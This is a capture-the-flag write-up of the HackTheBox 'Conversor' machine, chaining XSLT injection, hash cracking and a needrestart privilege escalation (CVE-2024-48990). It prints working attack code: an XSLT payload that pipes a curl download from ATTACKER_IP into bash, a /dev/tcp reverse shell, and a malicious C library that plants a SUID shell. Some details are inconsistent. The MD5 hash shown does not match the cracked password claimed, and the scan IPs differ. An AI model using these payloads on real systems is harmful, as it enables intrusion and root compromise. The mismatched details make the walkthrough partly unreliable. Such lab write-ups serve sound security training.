Conversor - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Conversor is an easy-difficulty Linux machine hosting a web application that converts XML documents into formatted HTML using XSLT stylesheets. By registering an account and reviewing the downloadable source code, we discover an unsanitized XSLT injection vulnerability that allows writing malicious Python scripts to a cron-executed directory, granting initial access as www-data. Enumerating the application database reveals MD5 password hashes that can be cracked to obtain SSH credentials. For privilege escalation, we exploit a misconfigured sudo rule permitting execution of needrestart, vulnerable to CVE-2024-48990, which enables arbitrary code execution via a controlled PYTHONPATH environment variable.

TL;DR: XSLT Injection → RCE as www-data → Database credential extraction → SSH access → CVE-2024-48990 needrestart privilege escalation → Root

Reconnaissance

Port Scanning

# Initial full port scan
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed scan on discovered ports
nmap -p$ports -sC -sV 10.129.14.222

Results:

The HTTP service redirects to http://conversor.htb/, requiring DNS resolution configuration.

Service Enumeration

HTTP Service:

• Accessible at conversor.htb (requires /etc/hosts entry)
• Web application for converting XML to HTML using XSLT stylesheets
• Account registration available
• Source code downloadable from the web interface

DNS Configuration:

echo "10.129.14.222 conversor.htb" | sudo tee -a /etc/hosts

Vulnerability Assessment

1. XSLT Injection: The application processes user-supplied XSLT files without sanitization, allowing arbitrary code execution via XSLT features
2. Cron-executed Scripts: The install.md file reveals that Python scripts in /var/www/conversor.htb/scripts/ are executed every minute by a cron job
3. Weak Password Hashing: User credentials stored as MD5 hashes without salt in SQLite database
4. Misconfigured Sudo: The fismathack user can execute /usr/sbin/needrestart as root
5. needrestart Vulnerability: Version 3.7 is vulnerable to CVE-2024-48990 (arbitrary code execution via PYTHONPATH)

Initial Foothold

Exploitation Path

Step 1: Account Registration and Source Code Review

Register an account on the Conversor web application and download the source code to understand the application flow:

wget http://conversor.htb/static/source_code.tar.gz
tar -xvf source_code.tar.gz

Reviewing app.py reveals that uploaded XSLT files are processed without sanitization. The install.md file indicates Python scripts in /var/www/conversor.htb/scripts/ are executed every minute.

Step 2: Create Malicious XSLT Payload

Craft an XSLT file that exploits the injection vulnerability to write a Python script to the cron-executed directory:

<!-- pwn.xslt -->
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
         xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
         xmlns:exploit="http://exslt.org/common"
         extension-element-prefixes="exploit"
         version="1.0">
         <xsl:template match="/">
                   <exploit:document href="/var/www/conversor.htb/scripts/pwn.py"
method="text">import os;os.system("curl http://<ATTACKER_IP>:8000/index.html|bash")</exploit:document>
         </xsl:template>
</xsl:stylesheet>

Step 3: Prepare Reverse Shell Payload

Create a bash script to be fetched and executed:

# index.html
#!/bin/bash
bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1"

Step 4: Set Up Listener and HTTP Server

On the attacker machine, start a netcat listener:

nc -nvlp 9001

In another terminal, start a Python HTTP server to host the payload:

python3 -m http.server 8000

Step 5: Generate Test XML File

Create an Nmap scan in XML format to use as the target XML:

nmap --min-rate 1000 -p 22,80 conversor.htb -oX scan.xml

Step 6: Upload Malicious Files

Upload scan.xml and pwn.xslt through the web application’s conversion interface.

Step 7: Obtain Initial Shell

Wait approximately one minute for the cron job to execute the Python script. The reverse shell connects back:

listening on [any] 9001 ...
connect to [10.10.16.193] from (UNKNOWN) [10.129.14.222] 35420
www-data@conversor:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Extracting User Credentials

Step 1: Locate Database File

From the www-data shell, find the application database:

find /var/www/conversor.htb -name "*.db"

Step 2: Extract Password Hash

Query the SQLite database for user credentials:

sqlite3 /var/www/conversor.htb/instance/users.db
sqlite> .tables
files    users

sqlite> select * from users;
1|fismathack|5f4dcc3b5aa765d61d8327deb882cf99
2|dotguy|<redacted>

Step 3: Crack MD5 Hash

Identify the hash type as MD5 and crack using John:

echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john -w=/usr/share/wordlists/rockyou.txt hash.txt --format=RAW-MD5
# Result: Keepmesafeandwarm

Step 4: SSH Access

Log in as the fismathack user:

ssh fismathack@conversor.htb
# Password: Keepmesafeandwarm
fismathack@conversor:~$ id
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)

Exploiting CVE-2024-48990

Step 1: Identify needrestart Privileges

Check sudo privileges:

fismathack@conversor:~$ sudo -l
User fismathack may run the following commands on conversor:
       (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Verify the vulnerable version:

/usr/sbin/needrestart --version
# needrestart 3.7 - Restart daemons after library updates.

Step 2: Prepare Malicious C Library

Create a C file that sets SUID on bash when loaded with root privileges:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
       if(geteuid() == 0) {
           setuid(0);
           setgid(0);
           system("cp /bin/bash /tmp/poc; chmod u+s /tmp/poc");
       }
}

Step 3: Compile on Attacker Machine

Compile the malicious library:

gcc -shared -fPIC -o __init__.so lib.c
python3 -m http.server 8000

Step 4: Set Up Directory Structure on Target

Create the directory structure for Python import:

mkdir -p /tmp/malicious/importlib
curl http://<ATTACKER_IP>:8000/__init__.so -o /tmp/malicious/importlib/__init__.so

Step 5: Create Exploitation Script

Create the Python script that repeatedly imports the malicious module:

import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        break
    time.sleep(1)

Step 6: Execute Exploit

In one SSH session, run the exploit script with modified PYTHONPATH:

cd /tmp/malicious
echo -e "\n\nWaiting for needrestart execution...\n"
PYTHONPATH="$PWD" python3 exploit.py 2>/dev/null

In another SSH session, execute needrestart with sudo:

fismathack@conversor:~$ sudo /usr/sbin/needrestart
Scanning processes...
Scanning linux images...
Running kernel seems to be up-to-date.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.

Step 7: Obtain Root Shell

Once the SUID binary is created, execute it to gain root privileges:

fismathack@conversor:~$ /tmp/poc -p
poc-5.1# id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)

Step 8: Retrieve Root Flag

cat /root/root.txt

Alternative: Perl-based needrestart Exploitation

If the above method fails, needrestart can be exploited via a malicious configuration file:

echo 'system("cp /bin/bash /tmp/poc; chmod u+s /tmp/poc")' > /tmp/cmd.conf
sudo /usr/sbin/needrestart -c /tmp/cmd.conf
/tmp/poc -p

Attack Chain Summary

Reconnaissance (Port Scan, HTTP Enumeration)
        ↓
Account Registration & Source Code Review
        ↓
XSLT Injection Vulnerability Discovery
        ↓
Malicious XSLT + Reverse Shell Payload Upload
        ↓
Cron Job Execution → RCE as www-data
        ↓
SQLite Database Enumeration
        ↓
MD5 Hash Extraction & Cracking
        ↓
SSH Access as fismathack
        ↓
Identify needrestart sudo privilege
        ↓
CVE-2024-48990 Exploitation (PYTHONPATH manipulation)
        ↓
SUID bash Creation
        ↓
Root Shell Access → Flag Capture

Tools Used

Key Learnings

Techniques Practiced

• XSLT injection and arbitrary code execution via XML stylesheet processing
• Cron job abuse for privilege escalation from web application context
• SQLite database extraction and analysis
• MD5 hash cracking with dictionary attacks
• CVE-2024-48990 exploitation via PYTHONPATH environment variable manipulation
• Python module import hijacking for arbitrary code execution
• Reverse shell payload generation and delivery
• Sudo privilege enumeration and exploitation
• C library compilation and dynamic linking attacks

Lessons Learned

1. Source code review is critical: Downloaded source code revealed the cron job mechanism and unsanitized XSLT processing, directly enabling exploitation.

2. XSLT is a powerful attack surface: XSLT injection can be as dangerous as template injection; any user-controlled stylesheet should be treated as high-risk.

3. Cron jobs create persistent execution opportunities: Once we could write to a cron-executed directory, obtaining initial access was merely a timing matter.

4. Weak password hashing enables credential compromise: MD5 without salt is easily cracked; proper password hashing (bcrypt, argon2) is essential.

5. Environment variable manipulation is a privilege escalation vector: CVE-2024-48990 demonstrates how PYTHONPATH can be exploited if not properly sanitized in setuid contexts.

6. Always verify sudo rules: Misconfigured sudo privileges (especially NOPASSWD entries) can completely bypass access controls.

7. Multi-stage exploitation is effective: Combining XSLT injection, database enumeration, and CVE exploitation created a complete attack chain requiring multiple techniques.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>